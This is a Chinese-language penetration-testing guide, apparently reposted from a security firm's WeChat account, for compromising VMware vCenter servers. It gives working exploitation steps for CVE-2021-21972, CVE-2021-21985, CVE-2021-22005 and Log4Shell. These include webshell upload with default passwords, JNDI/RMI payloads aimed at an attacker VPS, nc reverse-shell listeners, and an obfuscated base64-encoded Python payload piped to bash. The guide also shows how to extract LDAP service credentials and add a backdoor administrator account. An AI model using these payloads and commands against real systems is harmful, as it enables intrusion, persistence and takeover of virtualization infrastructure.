STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
vSphere是一个产品套装, ESXi是安装在物理机上的管理器。vSphere Client安装在一个笔记本或者桌面PC上,用于访问ESXi服务器进行虚拟机的创建和管理。vCenter server像一个虚拟机一样安装在 ESXi上面。vCenter server同样也可以安装在不同的独立物理服务器中,但为什么不适用虚拟化呢?在拥有多个ESXi服务器和数十个虚拟机时,vCenter server的应用就比较频繁了。在小环境下的管理,通常都会使用 vSphere client 来直连 ESXi 服务器。
更多参考:
https://yinyuhang.github.io/2019/02/19/difference-between-vsphere-exsi-vcenter/
获取版本
粗略版本查看:
https://192.168.80.130/sdk/vimServiceVersions.xml
详细版本查看:
POST /sdk/ HTTP/1.1
Host: 192.168.80.80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 330
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></env:Body></env:Envelope>
Tips:注意端口为 443 而非 5480 端口。
参考:
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%971-vSphere-Automation-API
CVE-2021-21972
影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
漏洞利用
利用脚本:
https://github.com/NS-Sp4ce/CVE-2021-21972
直接访问
https://192.168.80.130/ui/vropspluginui/rest/services/uploadova 如果404、401则代表不存在漏洞,显示 405、200则可能存在漏洞。
<form id="exp" method="post" enctype="multipart/form-data">
<p>target url > <input id="url" type="text" style="width: 300px"></p>
<p>shell file > <input type="file" name="uploadFile"></p>
<p><input type="submit" value="Submit" onclick="exp.action=url.value"></p>
</form>
Windows 上传
CVE-2021-21972-mainpayloadWindows.tar 脚本。
上传冰蝎路径
https://192.168.80.130/statsreport/shell.jsp | rebeyond
登录 vCenter 后台
解密 Cookie 利用脚本:
https://github.com/horizon3ai/vcenter_saml_login
在 windows 10 python3 环境安装 python-ldap 模块出现如下错误问题。
running build_ext
building '_ldap' extension
error: Microsoft Visual C++ 14.0 or greater is required. Get it with "Microsoft C++ Build Tools": https://visualstudio.microsoft.com/visual-cpp-build-tools/
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for python-ldap
Failed to build python-ldap
ERROR: Could not build wheels for python-ldap, which is required to install pyproject.toml-based projects
解决 Windows 系统 python-ldap 安装方法:
https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap
下载:python_ldap-3.4.0-cp37-cp37m-win_amd64.whl 然后执行 pip install python_ldap-3.4.0-cp37-cp37m-win_amd64.whl 即可完成安装。
Tips:需要安装指定版本,cp37代表是 python3.7 的版本。
数据库存放路径
Windows vCenter:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
Linux vCenter:/storage/db/vmware-vmdir/data.mdb
解密 Cookie 登录
python vcenter_saml_login.py -p d:data.mdb -t 192.168.80.130
Tips: 需要注意与 vCenter 实例的网络连通性。
使用上面的 Cookie,访问 https://192.168.80.130/ui 的VCSA实例,在 /ui 路径下添加 Cookie,重新浏览 https://192.168.80.130/ui 。
CVE-2021-21985
该漏洞由于vCenter Server默认启⽤的插件Virtual SAN Health Check缺少输⼊验证导致的。能通 过443端⼝访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在⽬标机器上执⾏任 意代码。
影响版本
Mware:vCenter Server:
· ⾮7.0 U2b版本的7.0版本
· ⾮6.7 U3n版本的6.7版本
· ⾮6.5 U3p版本的6.5版
VMware:Cloud Foundation:
· 低于4.2.1版本的4.x版本
· 低于3.10.2.1版本的3.x版本
漏洞利用
https://github.com/r0ckysec/CVE-2021-21985
python CVE-2021-21985_exp.py https://192.168.80.130 rmi://3wlv26.dnslog.cn/class
可配合 JNDIInjection-Bypass.jar 进行后续利用。
1.VPS启动JNDI监听 1099 端口
java -jar JDNIInjection-Bypass.jar 1099 47.100.172.221 8443
2.VPS启动nc监听 8443 端口
nc -lnvp 8443
3.执行python脚本
python3 CVE-2021-21985_exp.py https://192.168.80.130 rmi://47.100.172.221/p4udll
Tips:在 Windows 系统中无法反弹 shell ,需要试用其他利用姿势。
参考:http://noahblog.360.cn/vcenter-cve-2021-2021-21985/
修复建议:及时测试并升级到最新版本
CVE-2021-22005
影响版本
VMware vCenter Server 7.0
VMware vCenter Server 6.7 Running On Virtual Appliance
VMware Cloud Foundation (vCenter Server) 4.x
VMware Cloud Foundation (vCenter Server) 3.x
漏洞利用
https://github.com/shmilylty/cve-2021-22005-exp
C:UsersAdministratorDesktopcve-2021-22005-exp-main>exp.exe -h
usage: exp.exe [-h] -t TARGET [-s SHELL] [-p PROXY]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url(e.g. https://192.168.1.1)
-s SHELL, --shell SHELL
local webshell file path(default cmd.jsp)
-p PROXY, --proxy PROXY
request proxy(e.g. http://127.0.0.1:1080)
上传冰蝎 Webshell,默认密码 rebeyond, 支持代理参数。
exp.exe -t https://192.168.80.80 -s shell.jsp
exp.exe -t https://192.168.80.80 -p socks5://47.100.172.221:10086 -s shell.jsp
Tips:Webshell 避免出现中文,否则脚本可能会出现gbk编码问题。
Ldap 添加 vCenter 用户
Linux 获取ldap的账号密码:
/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINEservicesvmdir]'
Windows 获取ldap的账号密码:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVMwareDirectoryService
reg query '\HKEY_THIS_MACHINE\services\vmdir'
reg query "HKLMSYSTEMCurrentControlSetservicesVMwareDirectoryService" /v dcAccountDN
dcAccountDN 和 dcAccountPassword 分别为ldap的连接账号密码。可使用ldap连接工具或ldap命令来实现添加用户,删除用户等操作。添加vcenter用户和添加windows用户一样,需要先添加用户再将用户添加到管理员组。
添加用户前需要先创建两个文件。
adduser.ldif
dn: CN=vcenterAccount,CN=Users,DC=vsphere,dc=local
userPrincipalName: [email protected]
sAMAccountName: vcenterAccount
cn: vcenterAccount
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: G%2kX@PjYn%Jy$Nb
addadmin.ldif
dn: cn=Administrators,cn=Builtin,dc=vsphere,dc=local
changetype: modify
add: member
member: CN=vcenterAccount,CN=Users,DC=vsphere,dc=local
添加用户:
ldapadd -x -h [ldap ip] -D "[dcAccountDN]" -w "[dcAccountPassword]" -f adduser.ldif
ldapadd -x -h 192.168.80.80 -D "cn=192.168.80.80,ou=Domain Controllers,dc=vsphere,dc=local" -w "[&m4@UP~8oE*Y1KJFUBu" -f adduser.ldif
添加管理员:
ldapadd -x -h [ldap ip] -D "[dcAccountDN]" -w "[dcAccountPassword]" -f addadmin.ldif
ldapadd -x -h 192.168.80.80 -D "cn=192.168.80.80,ou=Domain Controllers,dc=vsphere,dc=local" -w "[&m4@UP~8oE*Y1KJFUBu" -f addadmin.ldif
访问:https://192.168.80.80/ui/
账号密码:
[email protected] / G%2kX@PjYn%Jy$Nb
使用工具操作添加用户(ldap admin) 同理具体参考原文:
https://www.djhons.com/2022/03/11/77.html
修复建议:及时测试并升级到最新版本
CVE-2021-44228
使用 log4j 添加⽤户,VPS 开启 LDAP服务。
java -jar RogueJndi-1.1.jar -n 47.100.172.221 -c 'bash -c
{echo,cHl0aG9uIC1jICdpbXBvcnQgYmFzZTY0O2ltcG9ydCB6bGliO2V4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVGN1ZWVjF2MmpBVWZjK3ZzUExpc0lYUUQrMEZxVklaVkcyMUZhRzJlNWdBVlU3c2dMdkVqbXhUMmxYODkxMG5UZ2hRcEw2T0I3Q1ByKys1SDhjWG5oZFNHU1MxNTYwMFU0TGtERjBndkRnNUpUVG40aHYyQ3FMMVdpcHE0V3NIbjU2ZFgxNWl6Nk1zUmZjck1aUjVUZ1FOa3B4MitoNkNqd0pycWFOQ0ZreVVjSWthOW1yZ1FFV0tFUnBVbUlxU1RHcFc3NWhaS1ZFYVZ0NnZtZms1R2t5R1VxUjhFVGp2aGVMQ0JQNzB5eHc5cWpka0pGb3dnOHlTb2FTMFF6SkY5cFpmTzlXcnpCSzNRdlY3c2pDOWpQOWhhNjVaTCthaWw2MFZXK2dseXpLVWNXMmVYa2kyWWhyaDZjMlBxOTlQanplM0QwOTNnK0hON2ZocU5vTlN2ZkNFNmRuc0phZGN6VEZRbFZ4Y1VQWjZhcE1zU2FPVVd6S2FESkpFcm9SeEVUWDd4bkJhWGV6UEkxMWszQVI0Sm5CbmV0SnNmZGlkelZzY1owYzVSdU45bHRGNGorZnM4enpuUjNrbVRoajdiSk90WU5xYzU1L2lkQUpvbklXdEpNSURpa29qaE5JZ296d05vZjFsZDUxTVVtbFZhQlhvZzBsa1Rmd1ErV3NYY0NxanRlS0dsWGNicUszR3RyU2Q1Nk9DMmpHb0JGcVpWUWc4QnNWeStjSUNYTWVDUVRLZnpCT285aDZDRjJzQXAzT1B5cHh3VWExVHFWQU1iV3Qzdmk1eWlGMVZlSXJpU0J1aWpGNXpzN1FOdmZEZG1mM0VPaUlGRkkwR2NhY0JLNWJtWUFyTmhPaGpvc3RwRWVMb1dYSVJ4THBUVHBFSnBKL3dnbVRqYXB3MGsrVXJ3cGZZZmtmdVJ1WFhGc0ttZ0JOeFlZL2I5aUZnZHE5RGUySVpQVzh3R3YxNnVMcTNOekNtb28vZXFkZ2NNZ04rZ0cwOFBiaHp4V25aaVBJb0VUdGJHVCt6eEF3emFFSWZoa3l4Q3hRUWt4UzdtRlFMSXZoZllyZ1VKSnQ4WUdHOVY1RzYxZ0pqUFdFM0hxVFRTczZ0SW1oclRreFFsb2lLRUIwcjhRNFdicXU0YlVDSVd0TzhYblk4cDEzQS9JeVNBZ1NLdXErb3U0UzYxa0xhb080SXpmejNsckkyTXg5MTF6dGduVlI1VkQ3TTZ0VTFLYlRtM2xiNmU0T3EvUkkrbkNvSFdNZXpJOENWYXpzRlNxRU1SbmUzNDYxU1FFMEQrdzhHQTE0UkkwRldnSHhmOGN4d0ViNWJlWUVNbGtUQUg4cGJBZXJJSmNUL1p2M0RtdVV4ZEsvNmNhSnpIYXRaNm1XZHNIc2g5Z2R5cVJwNFVPK0s0ejh0ZVpsdXErYi9BR3k0dEt3PSIpKSknCg==}|{base64,-d}|{bash,-i}'
Base64 解码为:
python -c 'import base64;import zlib;exec(zlib.decompress(base64.b64decode("eF7VVV1v2jAUfc+vsPLisIXQD+0FqVIZVG21FaG2e5gAVU7sgLvEjmxT2lX8910nTghQpL6OB7CPr++5H8cXnhdSGSS15600U4LkDF0gvDg5JTTn4hv2CqL1Wipq4WsHn56dX15iz6MsRfcrMZR5TgQNkpx2+h6CjwJrqaNCFkyUcIka9mrgQEWKERpUmIqSTGpW75hZKVEaVt6vmfk5GkyGUqR8ETjvheLCBP70yxw9qjdkJFowg8ySoaS0QzJF9pZfO9WrzBK3QvV7sjC9jP9ha65ZL+ail60VW+glyzKUcW2eXki2Yhrh6c2Pq99Pjze3D093g+HN7fhqNoNSvfCE6dnsJadczTFQlVxcUPZ6apMsSaOUWzKaDJJEroRxETX7xnBaXezPI11k3AR4JnBnetJsfdidzVscZ0c5RuN9ltF4j+fs8zznR3kmThj7bJOtYNqc55/idAJonIWtJMIDikojhNIgozwNof1ld51MUmlVaBXog0lkTfwQ+WsXcCqjteKGlXcbqK3GtrSd56OC2jGoBFqZVQg8BsVy+cICXMeCQTKfzBOo9h6CF2sAp3OPypxwUa1TqVAMbWt3vi5yiF1VeIriSBuijF5zs7QNvfDdmf3EOiIFFI0GcacBK5bmYArNhOhjostpEeLoWXIRxLpTTpEJpJ/wgmTjapw0k+UrwpfYfkfuRuXXFsKmgBNxYY/b9iFgdq9De2IZPW8wGv16uLq3NzCmoo/eqdgcMgN+gG08PbhzxWnZiPIoETtbGT+zxAwzaEIfhkyxCxQQkxS7mFQLIvhfYrgUJJt8YGG9V5G61gJjPWE3HqTTSs6tImhrTkxQloiKEB0r8Q4Wbqu4bUCIWtO8XnY8p13A/IySAgSKuq+ou4S61kLaoO4Izfz3lrI2Mx911ztgnVR5VD7M6tU1KbTm3lb6e4Oq/RI+nCoHWMezI8CVazsFSqEMRne3461SQE0D+w8GA14RI0FWgHxf8cxwEb5beYEMlkTAH8pbAerIJcT/Zv3DmuUxdK/6caJzHatZ6mWdsHsh9gdyqRp4UO+K4z8teZluq+b/AGy4tKw=")))'
漏洞利用
执行
curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://47.100.172.221:1389/o=tomcat}" "https://192.168.80.80/websso/SAML2/SSO/vcenter.lab?SAMLRequest="
其他
https://192.168.80.80/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=${jndi:ldap://47.100.172.221:1389/o=tomcat}
账户/密码:g01admin5 / G01admin123@@
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):vCenter 渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论